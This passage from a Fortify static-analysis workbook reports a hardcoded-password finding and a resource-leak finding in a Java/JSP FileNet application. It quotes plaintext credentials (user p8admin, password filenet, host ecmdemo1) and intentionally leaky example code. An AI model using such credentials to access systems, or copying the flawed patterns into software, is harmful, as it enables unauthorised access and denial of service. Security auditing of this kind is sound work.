Info Security Features Hardcoded passwords can compromise system security in a way that cannot be easily remedied. CEConnection.java:18 Comment()
//String uri = "iiop://ecmdemo1:2809/FileNet/Engine"; //String username = "p8admin"; //String password = "filenet"; logger.info("Factory.Connection.getConnection(" + mConfig.getStrURI() + ")..."); mConn =

Copyright 2007 Fortify Software Inc.

Page 35 of 37

Fortify Developer Workbook


Category: Unreleased Resource: Streams (1 Issues) Number of Issues
0.0 <Unaudited> Not an Issue 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0

Analysis

Reliability Issue Unknown Suspicious Exploitable

Abstract:
The program can potentially fail to release a system resource.

Explanation:
The program can potentially fail to release a system resource. Resource leaks have at least two common causes: - Error conditions and other exceptional circumstances. - Confusion over which part of the program is responsible for releasing the resource. Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool. Example 1: The following method never closes the file handle it opens. The finalize() method for FileInputStream eventually calls close(), but there is no guarantee as to how long it will take before the finalize() method will be invoked. In a busy environment, this can result in the JVM using up all of its file handles. private void processFile(String fName) throws FileNotFoundException, IOException { FileInputStream fis = new FileInputStream(fName); int sz; byte[] byteArray = new byte[BLOCK_SIZE]; while ((sz = fis.read(byteArray)) != -1) { processBytes(byteArray, sz); } } Example 2: Under normal conditions, the following code executes a database query, processes the results returned by the database, and closes the allocated statement object. But if an exception occurs while executing the SQL or processing the results, the statement object will not be closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries. Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(CXN_SQL); harvestResults(rs); stmt.close();

Recommendations:
1. Never rely on finalize() to reclaim resources. In order for an object's finalize() method to be invoked, the garbage collector must determine that the object is eligible for garbage collection. Because the garbage collector is not required to run unless the JVM is low on memory, there is no guarantee that an object's finalize() method will be invoked in an expedient fashion. When the garbage collector finally does run, it may cause a large number of resources to be reclaimed in a short period of time, which can lead to "bursty" performance and lower overall system throughput. This effect becomes more pronounced as the load on the system increases. Finally, if it is possible for a resource reclamation operation to hang (if it requires communicating over a network to a database, for example), then the thread that is executing the finalize() method will hang. Copyright 2007 Fortify Software Inc. Page 36 of 37

Fortify Developer Workbook


2. Release resources in a finally block. The code for Example 2 should be rewritten as follows: public void execCxnSql(Connection conn) { Statement stmt; try { stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(CXN_SQL); ... } finally { if (stmt != null) { safeClose(stmt); } } } public static void safeClose(Statement stmt) { if (stmt != null) { try { stmt.close(); } catch (SQLException e) { log(e); } } } This solution uses a helper function to log the exceptions that might occur when trying to close the statement. Presumably this helper function will be reused whenever a statement needs to be closed. Also, the execCxnSql method does not initialize the stmt object to null. Instead, it checks to ensure that stmt is not null before calling safeClose(). Without the null check, the Java compiler reports that stmt might not be initialized. This choice takes advantage of Java's ability to detect uninitialized variables. If stmt is initialized to null in a more complex method, cases in which stmt is used without being initialized will not be detected by the compiler.

Display.jsp, line 57 (Unreleased Resource: Streams) Folder: Kingdom: Abstract: Sink:


55 56 57 58 59

Warning Code Quality The function _jspService() in Display.jsp sometimes fails to release a system resource allocated by FileInputStream() on line 57. Display.jsp:57 new FileInputStream(...)()
getServletContext().getRealPath("/WEB-INF/WcmApiConfig.properties"); /*System.out.println ("Reading (" + wcmApiConfigPath + ")...");*/ ceSession.setConfiguration(newFileInputStream(wcmApiConfigPath)); /*System.out.println ("Connecting to CE...");*/ try {

Copyright 2007 Fortify Software Inc.

Page 37 of 37

Potrebbero piacerti anche